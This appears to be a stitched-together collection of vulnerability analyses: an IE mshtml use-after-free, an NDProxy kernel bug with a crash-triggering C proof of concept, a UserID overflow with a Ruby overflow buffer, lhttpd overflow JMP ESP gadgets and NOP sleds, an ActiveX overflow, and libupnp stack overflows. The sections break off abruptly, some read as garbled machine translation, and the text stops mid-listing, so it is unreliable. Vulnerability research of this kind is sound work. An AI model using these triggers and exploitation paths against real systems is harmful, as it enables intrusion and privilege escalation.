06a99fd8 049e8d80 00000000 80000075 80010000 ……..u…….
06a99fe8 00000006 0580afe8 06d9efec 00000000 …………….
06a99ff8 00000000 00000000 ???????? ???????? ……..????????
06a9a008 ???????? ???????? ???????? ???????? ????????????????
06a9a018 ???????? ???????? ???????? ???????? ????????????????
06a9a028 ???????? ???????? ???????? ???????? ????????????????
06a9a038 ???????? ???????? ???????? ???????? ????????????????
0:008> !heap -p -a poi(0x0563cfb0)
address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 5087390: 6a99fc8 38 - 6a99000 2000 mshtml!CGenericElement::`vftable' 7c918f01 ntdll!RtlAllocateHeap+0x00000e64 635db42e mshtml!CGenericElement::CreateElement+0x00000018 635a67f5 mshtml!CreateElement+0x00000043 637917c0 mshtml!CMarkup::CreateElement+0x000002de 63791929 mshtml!CDocument::CreateElementHelper+0x00000052 637918a2 mshtml!CDocument::createElement+0x00000021 635d3820 mshtml!Method_IDispatchpp_BSTR+0x000000d1 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 63643595 mshtml!CBase::InvokeEx+0x00000025 63643832 mshtml!DispatchInvokeCollection+0x0000014b 635e1cdc mshtml!CDocument::InvokeEx+0x000000f1 63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020 63642eec mshtml!PlainInvokeEx+0x000000ea 633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8 633a6c75 jscript!IDispatchExInvokeEx+0x0000006a 633a9cfe jscript!InvokeDispatchEx+0x00000098
However, after garbage collecting, mshtml!CGenericElement::`vftable' is freed:
eax=037cc598 ebx=037cc548 ecx=04a48d10 edx=633b5f09 esi=070eefa0 edi=037cc538
eip=633b5f09 esp=037cc4f8 ebp=037cc55c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!JsAtan2:
633b5f09 8bff mov edi,edi
0:008> !heap -p -a poi(0x0563cfb0)
address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 5087390: 6a99000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d 63628a50 mshtml!CBase::SubRelease+0x00000022 63640d1b mshtml!CElement::PrivateRelease+0x00000029 6363d0ae mshtml!PlainRelease+0x00000025 63663c03 mshtml!PlainTrackerRelease+0x00000014 633a10b4 jscript!VAR::Clear+0x0000005c 6339fb4a jscript!GcContext::Reclaim+0x000000ab 6339fd33 jscript!GcContext::CollectCore+0x00000113 63405594 jscript!JsCollectGarbage+0x0000001d 633a92f7 jscript!NameTbl::InvokeInternal+0x00000137 633a6650 jscript!VAR::InvokeByDispID+0x0000017c 633a9c0b jscript!CScriptRuntime::Run+0x00002989 633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff 633a59f7 jscript!ScrFncObj::Call+0x0000008f 633a5743 jscript!CSession::Execute+0x00000175
0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0)
0563cfb0 06a99fc8 00000000 ffff0075 ffffffff ……..u…….
0563cfc0 00000071 00000000 00000000 00000000 q……………
0563cfd0 00000000 0563cfd8 00000152 00000001 ……c.R…….
0563cfe0 00000000 00000000 0563cfc0 00000000 ……….c…..
0563cff0 00000010 00000000 00000000 d0d0d0d0 …………….
0563d000 ???????? ???????? ???????? ???????? ????????????????
0563d010 ???????? ???????? ???????? ???????? ????????????????
0563d020 ???????? ???????? ???????? ???????? ????????????????
06a99fc8 ???????? ???????? ???????? ???????? ????????????????
06a99fd8 ???????? ???????? ???????? ???????? ????????????????
06a99fe8 ???????? ???????? ???????? ???????? ????????????????
06a99ff8 ???????? ???????? ???????? ???????? ????????????????
06a9a008 ???????? ???????? ???????? ???????? ????????????????
06a9a018 ???????? ???????? ???????? ???????? ????????????????
06a9a028 ???????? ???????? ???????? ???????? ????????????????
06a9a038 ???????? ???????? ???????? ???????? ????????????????
You can see that the reference is still there. When the page reloads, this ends up with a crash:
0:008> g
(5f4.2c0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=63aae200 ebx=0563cfb0 ecx=06a99fc8 edx=00000000 esi=037cf0b8 edi=00000000
eip=6363fcc4 esp=037cf08c ebp=037cf0a4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:06a99fc8=????????
Callstack at the time of the crash:
0:008> k
ChildEBP RetAddr
037cf1f8 63602718 mshtml!CElement::Doc
037cf214 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
037cf4c0 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
037cf4d0 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
037cf4e0 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
037cf4f0 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35
037cf4fc 63717f4e mshtml!ISpanQualifier::GetFancyFormat+0x5a
037cf50c 63717afe mshtml!SLayoutRun::HasInlineMbp+0x10
037cf51c 63724f88 mshtml!SRunPointer::HasInlineMbp+0x53
037cf554 6373a5a1 mshtml!CLayoutBlock::GetIsEmptyContent+0xf1
037cf58c 6382ed01 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
037cf5d8 63702e23 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
037cf610 63708acf mshtml!CLayoutBlock::BuildBlock+0x1c1
037cf6d4 6370bd31 mshtml!CCssDocumentLayout::GetPage+0x22a
037cf844 63668184 mshtml!CCssPageLayout::CalcSizeVirtual+0x242
037cf97c 6368a1cb mshtml!CLayout::CalcSize+0x2b8
037cfa78 6374799d mshtml!CLayout::DoLayout+0x11d
037cfa8c 636514de mshtml!CCssPageLayout::Notify+0x140
037cfa98 636678c6 mshtml!NotifyElement+0x41
”`
Patch information:
Patch:
Do a mshtml!CLayoutBlock::RemoveChild in mshtml!CBlockContainerBlock::BuildBlockContainer before
the layout structure access. More information about this patch can be found here:
Technical Analysis
Xp recently broke a local kernel vulnerability extract is said to
capture the eyes of fire in Adobe 0day attack another 0day.
PoC
# Include " windows.h " # include " stdio.h " void main () { HANDLE hDev = CreateFile ( " . \ \ \ \ \ \ NDProxy " , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL); if (hDev == INVALID_HANDLE_VALUE) { printf ( " CreateFile Error:% d \ N " , GetLastError ()); } DWORD inbuf [ 0x15 ] = { 0 }; DWORD dwRetBytes = 0 ; * (inbuf + 5 ) = 0x7030125 ; * (inbuf + 7 ) = 0x34 ; DeviceIoControl (hDev, 0x8fff23cc , inbuf, 0x54 , inbuf, 0x24 , & dwRetBytes, 0 ); CloseHandle (hDev); }
Details
Directly compiled to run on xp sp3 will cause a blue screen, attach the debugger, see the following
exceptions:
Access violation - code c0000005 (second chance!!!!!!) 00000038 ????? kd> r eax = 000001B0 ecx = 00000000 ebx = 81e16d80 edx = 00000000 ESI = 81f31a30 edi = f88f273c eip = 00000038 esp = b203ec18 ebp = b203ec34 iopl up EI pl = 0 NV NZ Na PO NC cs = 0008 SS = 0010 DS = 0023 es = 0023 fs = 0030 GS = 0000 efl = 00010202 00000038?? kd> kb ChildEBP RetAddr Args to Child WARNING: Frame IP Not in . any known Module Following frames May be wrong. b203ec14 f88ed145 81f31a30 81a76c10 81f2b2c0 0x38 b203ec34 8 04ef129 81f46ed8 000001B0 8 06d32d0 NDProxy! PxIODispatch +0 x2b3 b203ec44 8 0575dde 81e16df0 81a76c10 81e16d80 nt! IopfCallDriver +0 X31 b203ec58 8 0576c7f 81f46ed8 81e16d80 81a76c10 nt! IopSynchronousServiceTail +0 X70 b203ed00 8 056f4ec 000007e8 00000000 00000000 nt! IopXxxControlFile +0 x5e7 b203ed34 8 053e648 000007e8 00000000 00000000 nt! NtDeviceIoControlFile +0 x2a b203ed34 7c92e4f4 000007e8 00000000 00000000 nt! KiFastCallEntry +0 xf8 0012fe4c 7c92d26c 7c801675 000007e8 00000000 ntdll! KiFastSystemCallRet 0012fe50 7c801675 000007e8 00000000 00000000 ntdll! ZwDeviceIoControlFile +0 XC 0012feb0 004010c2 000007e8 8fff23cc 0012ff28 0x7c801675 0012ff80 004012e9 00000001 00380fc0 00381058 0x4010c2 0012ffc0 7c817067 00241fe4 0012f7bc 7ffde000 0x4012e9 0012fff0 00000000 00,401,200 00000000 78746341 0x7c817067
By using IDA io_code locate handler gPxIODispatch:
if (v7 == 0x8FFF23C8 | | v7 == 0x8FFF23CC ) { V17 = LockState ; if (LockState <0x24 | | V6 <0x24) { v8 = - 1,073,741,820 ; GOTO LABEL_70 ; } v18 = * (_DWORD *) (v5 + 20 ) - 117637377 ; v36 = 36 ; if ((unsigned int ) v18 <= 0x24)
Restart, and then off to the next handler:
kd> bp NDProxy! PxIODispatch kd> BL 0 e f888ce92 0001 (0001) NDProxy! PxIODispatch kd> g
Run poc, program interrupt handler entrance,
Referring ida
v36 = 0 ; v2 = LockState ; v3 = * (_DWORD *) (LockState + 0x60) ; v4 = * (_BYTE *) v3 == 14 ; v5 = * (_DWORD *) (LockState + 0xC) ;/ / LockState + 0xC exactly InBuf pointer LockState = * (_DWORD *) (v3 + 8 ) ; V6 = * (_DWORD *) (v3 + 4 ) ; v35 = * (_DWORD *) (v3 + 4 ) ; kd> dd esp b20b5c38 804ef129 8212b488 81b28ce8 806d32d0 b20b5c48 80575dde 81b28d58 81ace8a8 81b28ce8 b20b5c58 b20b5d00 80576c7f 8212b488 81b28ce8 b20b5c68 81ace8a8 0012ff00 b20b5d01 b20b5d01 b20b5c78 00000002 b20b5d64 0012fe80 8056f4c2 b20b5c88 80545edc 0012019f 00000000 00000003 00000012 c0100080 b20b5c98 8218aa28 00000e3c b20b5ca8 00000000 00000e40 00000000 81ace8ec kd> dd 81b28ce8 +0 XC 81b28cf4 8212d490 8218ac38 8218ac38 00000000 00000000 01010001 0c000000 81b28d04 0012fe8c 81b28d14 00000000 00000000 00000000 00000000 00000000 00000000 00000000 81b28d24 0012ff28 81b28d34 8218aa28 00000000 00000000 00000000 00000000 81b28d58 81ace8a8 81b28d44 00000000 81b28d54 00000000 0005000e 00000024 00000054 00000000 8212b488 81ace8a8 81b28d64 8fff23cc kd> dd 8212d490 8212d490 00000000 00000000 00000000 00000000 00000000 07030125 00000000 00000034 8212d4a0 8212d4b0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 8212d4c0 8212d4d0 00000000 00000000 00000000 00000000 8212d4e0 00000000 00000000 0001000c 81ecdbf0 8212d4f0 0a060001 ee657645 00000001 00000001 00000000 81e55408 00000000 821b6980 8212d500
Look directly handle iocode places:
if (M_iocode == 0x8FFF23C8 | | M_iocode == 0x8FFF23CC ) { V17 = LockState; if (LockState < 0x24 | | V6 < 0x24 ) { v8 = 0xC0000004u ; GOTO LABEL_70; } v18 = * (_DWORD *) (v5 + 0x14 ) - 0x7030101 ;/ / v5 +0 x14 == 0x7030125 v36 = 36 ; if ((unsigned int ) v18 <= 0x24 ) == 0x24 v18 { v19 = * (_DWORD *) (v5 + 0x1c ); / / v19 = 0x34 v20 = 3 * v18; v21 = v19 < dword_F8892004 [v20] ;/ / dword_F8892004 [v20] is exactly equal to 0x34 LockState = v20 * 4 ;/ / v5 is assigned here if (v21 | | v19> V17 - 32 ) / / skip this if { * (_DWORD *) (V5 + 16 ) = 0xC0012019u ; } else / / enter here { V22 = KfAcquireSpinLock (& SpinLock); byte_F8892740 = V22; if (TspCB) { LOBYTE (v23) = V22; KfReleaseSpinLock ( & SpinLock, v23); * (_DWORD *) (v5 + 16 ) = 4097 ; } else { + + dword_F8892734; if ((unsigned int ) dword_F8892734> 0xFFFFFFFE ) dword_F8892734 = - 2147483647 ; * (_DWORD *) (v5 + 12 ) = dword_F8892734; * (_DWORD *) (v5 + 8 ) = v2; LOBYTE (v23) = byte_F8892740; KfReleaseSpinLock ( & SpinLock, v23); * (_BYTE *) (* (_DWORD *) (v2 + 96 ) + 3 ) | = 1u ; V24 = (* ( int (__ stdcall **) ( int )) (( char *) & off_F8892008 + LockState)) (v5) ;/ / here exception of if (V24 == 259 ) return 259 ; v36 = v35; if (v35> = * (_DWORD *) (v5 + 28 ) + 36 ) v36 = * (_DWORD *) (v5 + 28 ) + 36 ; * (_DWORD *) (v5 + 16 ) = V24; _InterlockedExchange ((Signed __ Int32 *) (v2 + 56 ), 0 ); } } }
assembler code is as follows:
text: F885D0AD loc_F885D0AD:; CODE XREF: PxIODispatch (x, x) +20 D J . text: F885D0AD mov ecx, [ESI +1 Ch] / / ESI +1 c controllable text: F885D0B0 lea eax, [eax + eax * 2. ] / / eax controllable text:. F885D0B3 shl eax, 2 text:. F885D0B6 cmp ecx, dword_F8862004 [eax] text:. F885D0BC mov dword ptr [ebp + LockState.LockState], eax / / pollution LockState.LockState text.: F885D0BF JNB short loc_F885D0CD . text: F885D0C1 text: F885D0C1 loc_F885D0C1:;. CODE XREF: PxIODispatch (x, x) +240 J text: F885D0C1 mov dword ptr [ESI +10 h], 0C0012019h. text: F885D0C8 jmp loc_F885D172. ... . Text: mov eax F885D134, [ebx +60 h] text:. F885D137 or byte ptr [eax +3], 1 text:. F885D13B mov eax, dword ptr [ebp + LockState.LockState] / / pollution eax text:. F885D13E PUSH ESI . text: F885D13F Call off_F8862008 [eax]; Exception! Contaminated eax as an array subscript off_F8862008 passed to the eip. kd> g Breakpoint 2 HIT NDProxy PxIODispatch +0 x2ad:! ! f885d13f ff90082086f8 Call dword ptr NDProxy TapiOids +0 x8 (f8862008) [eax] kd> r eax = 000001B0 ecx = 00000000 ebx = 81e2c2f8 edx = 00000000 ESI = 81cc9368 edi = f886273c eip = f885d13f esp = b1bd9c1c ebp = b1bd9c34 iopl up EI pl = 0 NV NZ Na PO NC cs = 0008 SS = 0010 DS = 0023 es = 0023 fs = 0030 GS = 0000 efl = 00000202 NDProxy PxIODispatch +0 x2ad:! f885d13f ff90082086f8 Call dword ! ptr NDProxy TapiOids +0 x8 (f8862008) [eax] ds: 0023: f88621b8 = 00000038
Here eax = 0x1b0 ie 0x24 * 3 * 4
As for how not to good use, can now expect to be able to control the array eax certain locations
to perform shellcode.
Technical Analysis
-
In addition, ```var_DE64``` is used to store the ```UserID``` information by a simple memcpy routine:
.text:0040F2D7 mov eax, ecx
.text:0040F2D9 mov esi, edi
.text:0040F2DB mov edi, edx
.text:0040F2DD push ebx
.text:0040F2DE shr ecx, 2
.text:0040F2E1 rep movsd
If ```UserID``` has a value of "AAAA", in a debugger the buffers would look like this:
01EEB494 41414141 AAAA
01EEB498 00000000 ….
01EEB49C 00000000 ….
01EEB4A0 00000000 ….
01EEB4A4 00000000 ….
01EEB4A8 00000000 ….
01EEB4AC 00000000 ….
01EEB4B0 00000000 ….
01EEB4B4 00000000 ….
01EEB4B8 00000000 ….
01EEB4BC 00000000 ….
01EEB4C0 00000000 ….
01EEB4C4 00000000 ….
01EEB4C8 00000000 ….
01EEB4CC 00000000 ….
01EEB4D0 00000000 ….
01EEB4D4 01000101 .
01EEB4D8 016EE168 hán ASCII “2.60 ,MyDB Engine,Copyright_2002 MGH Software Inc.”
01EEB4DC 00518470 p„Q. abws.00518470
01EEB4E0 00518470 p„Q. abws.00518470
01EEB4E4 004F2F7C |/O. abws.004F2F7C
01EEB4E8 00000250 P..
In the above example, the range from 01EEB494 to 01EEB4D0 is exactly 64 bytes, this is our ```var_DE64``` buffer. Right below that is our ```var_DE24```, which is what ESI points to at the time of the crash. At the 0x10th byte of ESI is where EDX is, which is used by the ```CALL DWORD [edx+28h]``` instruction. The following code represents this: ```ruby buf = "A" * 64 # 64 bytes for var_DE64 buf << "BBBB" # We start overwriting var_DE24 buffer here buf << "C" * (16-4) # Padding for [ESI+10h] so the 16th DWORD is our DDDD buf << "DDDD" # EDX (which will be used by the CALL DWORD [edx+28h] instruction) buf << "E" * (4 * 100) # Extra padding so we can see the overflow better
Since the overflow ends up writing an object in var_DE24
and gets used by the function,
this results a type confusion (a string being treated as an object).
Breakpoints
- The first breakpoint is the alloca_probe call
- The second breakpoint is the destination buffer for the mempcy that copies the UserID value to
var_DE64
- The third is the beginning of the vulnerable function
0:006> bl 0 e 0040f10a 0001 (0001) 0:**** abws+0xf10a 1 e 0040f2db 0001 (0001) 0:**** abws+0xf2db 2 e 0040f0f0 0001 (0001) 0:**** abws+0xf0f0
Technical Analysis
—
”`
References
http://www.php.net/ChangeLog-5.php#5.4.3
Fixed bug #61807 Buffer Overflow in apache_request_headers, CVE-2012-2329. => Bug private at the moment of writing
http://www.securityfocus.com/bid/53455
Redhat, include patches:
https://bugzilla.redhat.com/show_bug.cgi?id=820000
Technical Analysis
start end module name 00400000 0041a000 lhttpd C:\Documents and Settings\Administrator\My Documents\Downloads\ad9f3af85dc51499f7d252eb11bac5a2-lhttpd0.1-win\lhttpd\lhttpd.exe 662b0000 66308000 hnetcfg C:\WINDOWS\system32\hnetcfg.dll 71a50000 71a8f000 mswsock C:\WINDOWS\system32\mswsock.dll 71a90000 71a98000 wshtcpip C:\WINDOWS\System32\wshtcpip.dll 71aa0000 71aa8000 WS2HELP C:\WINDOWS\system32\WS2HELP.dll 71ab0000 71ac7000 WS2_32 C:\WINDOWS\system32\WS2_32.dll 71ad0000 71ad9000 WSOCK32 C:\WINDOWS\system32\WSOCK32.DLL 76390000 763ad000 IMM32 C:\WINDOWS\system32\IMM32.DLL 77c10000 77c68000 msvcrt C:\WINDOWS\system32\msvcrt.dll 77dd0000 77e6b000 ADVAPI32 C:\WINDOWS\system32\ADVAPI32.dll 77e70000 77f02000 RPCRT4 C:\WINDOWS\system32\RPCRT4.dll 77f10000 77f59000 GDI32 C:\WINDOWS\system32\GDI32.dll 77fe0000 77ff1000 Secur32 C:\WINDOWS\system32\Secur32.dll 7c800000 7c8f6000 kernel32 C:\WINDOWS\system32\kernel32.dll 7c900000 7c9af000 ntdll C:\WINDOWS\system32\ntdll.dll 7e410000 7e4a1000 USER32 C:\WINDOWS\system32\USER32.DLL
Found sequences (All Modules)
Address Disassembly Comment Module Name 00401000 JMP SHORT lhttpd.00401012 (Initial CPU selection) C:\Documents and Settings\Administrator\My Documents\Downloads\ad9f3af85dc51499f7d252eb11bac5a2-lhttpd0.1-win\lhttpd\lhttpd.exe 662B1000 TEST AL,7C (Initial CPU selection) C:\WINDOWS\system32\hnetcfg.dll 662EB24F JMP ESP C:\WINDOWS\system32\hnetcfg.dll 71A51000 MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] (Initial CPU selection) C:\WINDOWS\system32\mswsock.dll 71A91000 SBB BL,BYTE PTR DS:[ESI] (Initial CPU selection) C:\WINDOWS\System32\wshtcpip.dll 71A91C8B JMP ESP C:\WINDOWS\System32\wshtcpip.dll 71AA1000 MOV ECX,A877DD7C (Initial CPU selection) C:\WINDOWS\system32\WS2HELP.dll 71AB1000 OUT DX,AL (Initial CPU selection) C:\WINDOWS\system32\WS2_32.dll 71AD1000 ADC EAX,DWORD PTR ES:[ECX+8017E97C] (Initial CPU selection) C:\WINDOWS\system32\WSOCK32.DLL 76391000 MOV EDX,A877DD7F (Initial CPU selection) C:\WINDOWS\system32\IMM32.DLL 77C11000 MOV BYTE PTR DS:[EAX+EAX*4+90FE017C],BL (Initial CPU selection) C:\WINDOWS\system32\msvcrt.dll 77DD1000 SUB DWORD PTR DS:[ESI],EDX (Initial CPU selection) C:\WINDOWS\system32\ADVAPI32.dll 77DEF049 JMP ESP C:\WINDOWS\system32\ADVAPI32.dll 77DF965B JMP ESP C:\WINDOWS\system32\ADVAPI32.dll 77E18063 JMP ESP C:\WINDOWS\system32\ADVAPI32.dll 77E23B63 JMP ESP C:\WINDOWS\system32\ADVAPI32.dll 77E42A9F JMP ESP C:\WINDOWS\system32\ADVAPI32.dll 77E71000 MOV DH,79 (Initial CPU selection) C:\WINDOWS\system32\RPCRT4.dll 77E8560A JMP ESP C:\WINDOWS\system32\RPCRT4.dll 77E9025B JMP ESP C:\WINDOWS\system32\RPCRT4.dll 77F11000 INC ESI (Initial CPU selection) C:\WINDOWS\system32\GDI32.dll 77F31D2F JMP ESP C:\WINDOWS\system32\GDI32.dll 77FE1000 PUSH EDI (Initial CPU selection) C:\WINDOWS\system32\Secur32.dll 7C801000 INT 81 (Initial CPU selection) C:\WINDOWS\system32\kernel32.dll 7C86467B JMP ESP C:\WINDOWS\system32\kernel32.dll 7C901000 MOV ECX,DWORD PTR FS:[18] (Initial CPU selection) C:\WINDOWS\system32\ntdll.dll 7E411000 SALC (Initial CPU selection) C:\WINDOWS\system32\USER32.DLL 7E429353 JMP ESP C:\WINDOWS\system32\USER32.DLL 7E4456F7 JMP ESP C:\WINDOWS\system32\USER32.DLL 7E455AF7 JMP ESP C:\WINDOWS\system32\USER32.DLL 7E45B310 JMP ESP C:\WINDOWS\system32\USER32.DLL
Dump:
00dfbceb 90 90 90 90 90 90 90 ....... 00dfbcf2 90 90 90 90 90 90 90 ....... 00dfbcf9 90 90 90 90 90 20 2d ..... - 00dfbd00 20 43 6f 6e 6e 65 63 Connec 00dfbd07 74 69 6f 6e 20 66 72 tion fr 00dfbd0e 6f 6d 20 31 30 2e 30 om 10.0 00dfbd15 2e 31 2e 37 36 2c 20 .1.76, 00dfbd1c 72 65 71 75 65 73 74 request 00dfbd23 20 3d 20 22 47 45 54 = "GET 00dfbd2a 20 2f 90 90 90 90 90 /..... 00dfbd31 90 90 90 90 90 90 90 ....... 00dfbd38 90 90 90 90 90 90 90 ....... 00dfbd3f 90 90 90 90 90 90 90 ....... 00dfbd46 90 90 90 90 90 90 90 .......
In function serveconnection(), protocol.c:
Log("Connection from %s, request = \"GET %s\"", inet_ntoa(sa.sin_addr), ptr);
The Log() function comes from util.c:
void Log(char *format, ...) { FILE *logfile; time_t t; struct tm *tm; char temp[200], temp2[200], logfilename[255]; char datetime[] = "[%d.%m.%Y] [%H:%M.%S]"; char datetime_final[128]; va_list ap; va_start(ap, format); // format it all into temp vsprintf(temp, format, ap);
Technical Analysis
.text:100021EA align 10h
.text:100021F0
.text:100021F0 loc_100021F0: ; CODE XREF: sub_10002140+A8j
.text:100021F0 ; sub_10002140+BD1j
.text:100021F0 movzx ecx, word ptr [eax]
.text:100021F3 mov [edx+eax], cx
.text:100021F7 add eax, 2
.text:100021FA test cx, cx
.text:100021FD jnz short loc_100021F0
edx points to a local variable, eax to the user controlled provided annotation. Crash:
(d98.4cc): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\PROGRA~1\BLACKI~1\BLACKI~2\BLACKI~1\BLACKI~1.OCX
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\BLACKI~1\BLACKI~2\BLACKI~1\BLACKI~1.OCX -
eax=03719080 ebx=00000000 ecx=00000041 edx=fe906f80 esi=0201f1e0 edi=00000040
eip=100021f3 esp=0201f174 ebp=0201f38c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
BLACKI_1!DllUnregisterServer+0xfc3:
100021f3 66890c02 mov word ptr [edx+eax],cx ds:0023:02020000=4d5a
0:008> db edx
0:008> db eax
03719080 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03719090 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190a0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
In this case the exception is due to a overflow of the stack space. Trying to write after stack generates an exception. But this situation is tricky to exploit in moden versions of IE because heap goes after stack... so generate an exception trends to be tricky. Will give a chance anyway. On the other hand the vulnerable function is protected by stack cookies:
.text:1000221D xor ecx, esp
.text:1000221F call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:10002224 add esp, 60h
.text:10002227 retn 3Ch
.text:10002227 sub_10002140 endp
”`
Finally doesn’t look so bad for exploitation via seh overwrite, but bad luck because the OCX is safeseh = true :( So… sounds difficult to make it exploitable out of ie6/ie7
Technical Analysis
- How unique_service_name is reached?00
Breakpoint 4, unique_service_name ( cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e6ca4) at src/ssdp/ssdp_server.c:496 496 printf("[*] unique_service_name()\n"); (gdb) bt #0 unique_service_name ( cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e6ca4) at src/ssdp/ssdp_server.c:496 #1 0x0013464a in ssdp_request_type ( cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e7260) at src/ssdp/ssdp_server.c:624 #2 0x001326c9 in ssdp_handle_device_request (hmsg=0x8051bb0, dest_addr=0x8051c8c) at src/ssdp/ssdp_device.c:127 #3 0x001341e8 in ssdp_event_handler_thread (the_data=0x8051bb0) at src/ssdp/ssdp_server.c:787 #4 0x0015f306 in WorkerThread (arg=0x15b340) at src/ThreadPool.c:533 #5 0x0017596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #6 0x00256a4e in clone () from /lib/tls/i686/cmov/libc.so.6
- CVE-2012-5958
TempBuf Overflowed, at the current stack frame
- CVE-2012-5959, CVE-2012-5961, CVE-2012-5962, CVE-2012-5963, CVE-2012-5964, CVE-2012-5965, CVE-2012-5960
Evt members overflowed. Evt stored at the ssdp_handle_device_request frame:
ssdp_handle_device_request( IN http_message_t * hmsg, IN struct sockaddr_in *dest_addr ) int handle; struct Handle_Info *dev_info = NULL; memptr hdr_value; int mx; char save_char; SsdpEvent event; <== int ret_code; SsdpSearchReply *threadArg = NULL; ThreadPoolJob job; int replyTime; int maxAge;
- CVE-2012-5958, assuming no PIE for the main executable, which has been found in the wild, having into account
which goodchars are from 0x01-0x7f or 0x80-0xff (with exceptions), doesn’t seem feasible to use any of these
addresses to make a type of ret2libc:
(1) .got.plt for upnp_tv_device, the check program linked with libupnp (compiled on ubuntu 10.04 with
gcc flags to disable stack-cookies and fortify libc checks)
.got.plt:0804F000 off_804F000 dd offset UpnpInit ; DATA XREF: _UpnpInitr .got.plt:0804F004 off_804F004 dd offset sigemptyset ; DATA XREF: _sigemptysetr .got.plt:0804F008 off_804F008 dd offset UpnpSendAdvertisement .got.plt:0804F008 ; DATA XREF: _UpnpSendAdvertisementr .got.plt:0804F00C off_804F00C dd offset sprintf ; DATA XREF: _sprintfr .got.plt:0804F010 off_804F010 dd offset ixmlPrintNode ; DATA XREF: _ixmlPrintNoder .got.plt:0804F014 off_804F014 dd offset ixmlNode_getNodeType .got.plt:0804F014 ; DATA XREF: _ixmlNode_getNodeTyper .got.plt:0804F018 off_804F018 dd offset __gmon_start__ ; DATA XREF: ___gmon_start__r .got.plt:0804F01C off_804F01C dd offset __isoc99_sscanf ; DATA XREF: ___isoc99_sscanfr .got.plt:0804F020 off_804F020 dd offset UpnpUnRegisterRootDevice .got.plt:0804F020 ; DATA XREF: _UpnpUnRegisterRootDevicer .got.plt:0804F024 off_804F024 dd offset vsnprintf ; DATA XREF: _vsnprintfr .got.plt:0804F028 off_804F028 dd offset ixmlNode_getFirstChild .got.plt:0804F028 ; DATA XREF: _ixmlNode_getFirstChildr .got.plt:0804F02C off_804F02C dd offset fgets ; DATA XREF: _fgetsr .got.plt:0804F030 off_804F030 dd offset ixmlNode_getNodeValue .got.plt:0804F030 ; DATA XREF: _ixmlNode_getNodeValuer .got.plt:0804F034 off_804F034 dd offset __libc_start_main .got.plt:0804F034 ; DATA XREF: 